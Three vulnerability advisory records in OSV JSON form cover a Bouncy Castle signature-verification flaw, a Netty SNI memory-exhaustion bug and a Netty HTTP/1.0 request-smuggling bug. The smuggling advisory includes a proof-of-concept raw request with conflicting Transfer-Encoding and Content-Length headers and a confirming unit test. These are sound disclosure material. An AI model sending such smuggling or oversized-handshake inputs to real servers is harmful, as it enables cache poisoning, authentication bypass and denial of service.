{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk15on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-debug-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-debug-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-debug-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:32:20Z",
    "nvd_published_at": "2026-04-15T10:16:49Z",
    "severity": "MODERATE"
  },
  "details": ": Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules).\n\n\nPKIX draft CompositeVerifier accepts empty signature sequence as valid.\n\n\nThis issue affects BC-JAVA: from 1.49 before 1.84.",
  "id": "GHSA-wg6q-6289-32hp",
  "modified": "2026-04-16T21:32:20Z",
  "published": "2026-04-15T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5588"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/656bae0dbd9b1521f840521ff786e78749fe3057"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905588"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/U:Green",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle Crypto Package For Java: Use of a Broken or Risky Cryptographic Algorithm vulnerability in bcpkix modules"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T23:01:04Z",
    "nvd_published_at": "2026-06-12T15:16:26Z",
    "severity": "HIGH"
  },
  "details": "SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard at line 140 is `handshakeLength \u003e maxClientHelloLength \u0026\u0026 maxClientHelloLength != 0`, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes.",
  "id": "GHSA-x4gw-5cx5-pgmh",
  "modified": "2026-06-12T19:29:22Z",
  "published": "2026-06-08T23:01:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-x4gw-5cx5-pgmh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45416"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: SNI handler pre-allocates up to 16 MiB from nine attacker bytes"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:18:41Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization\n\n| Field     | Value |\n|-----------|-------|\n| Library   | `io.netty:netty-codec-http` |\n| Component | `codec-http` \u2014 `HttpObjectDecoder` |\n| Severity  | **HIGH** |\n| Affects   | HEAD, commit `4f3533ae` confirmed |\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling.\n\n---\n\n## Root Cause\n\n```java\n// HttpObjectDecoder.java:828-833\nif (HttpUtil.isTransferEncodingChunked(message)) {\n    this.chunked = true;\n    if (!contentLengthFields.isEmpty() \u0026\u0026 message.protocolVersion() == HttpVersion.HTTP_1_1) {\n        handleTransferEncodingChunkedWithContentLength(message);  // strips CL \u2014 HTTP/1.1 only\n    }\n    return State.READ_CHUNK_SIZE;\n}\n\n// HttpObjectDecoder.java:870-873\nprotected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n    message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n    contentLength = Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.\n\n---\n\n## Proof of Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost: internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length: 0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`-first (nginx, some HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).\n3. No additional HTTP/1.0 stripping layer between attacker and Netty.\n\n---\n\n## Impact\n\nRequest smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.\n\n---\n\n## Confirmed PoC Test\n\nVerified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\npublic class NettySmugglingSec001Test {\n\n    // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict\n    @Test\n    public void http10_contentLengthNotStripped() {\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n        ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api HTTP/1.0\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n                \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n                \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n        HttpRequest req = ch.readInbound();\n        assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n        // Content-Length: 0 survives \u2014 downstream CL-first proxy treats chunked body as new request\n        assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"VULNERABLE: CL not stripped\");\n        ch.finishAndReleaseAll();\n    }\n\n    // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict\n    @Test\n    public void http11_contentLengthStripped() {\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n        ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api HTTP/1.1\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n                \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n                \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n        HttpRequest req = ch.readInbound();\n        assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"SAFE: CL correctly stripped\");\n        ch.finishAndReleaseAll();\n    }\n}\n```\n\n---\n\n## Fix Guidance\n\nRemove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version.",
  "id": "GHSA-xxqh-mfjm-7mv9",
  "modified": "2026-05-14T20:41:05Z",
  "published": "2026-05-07T00:18:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization"
}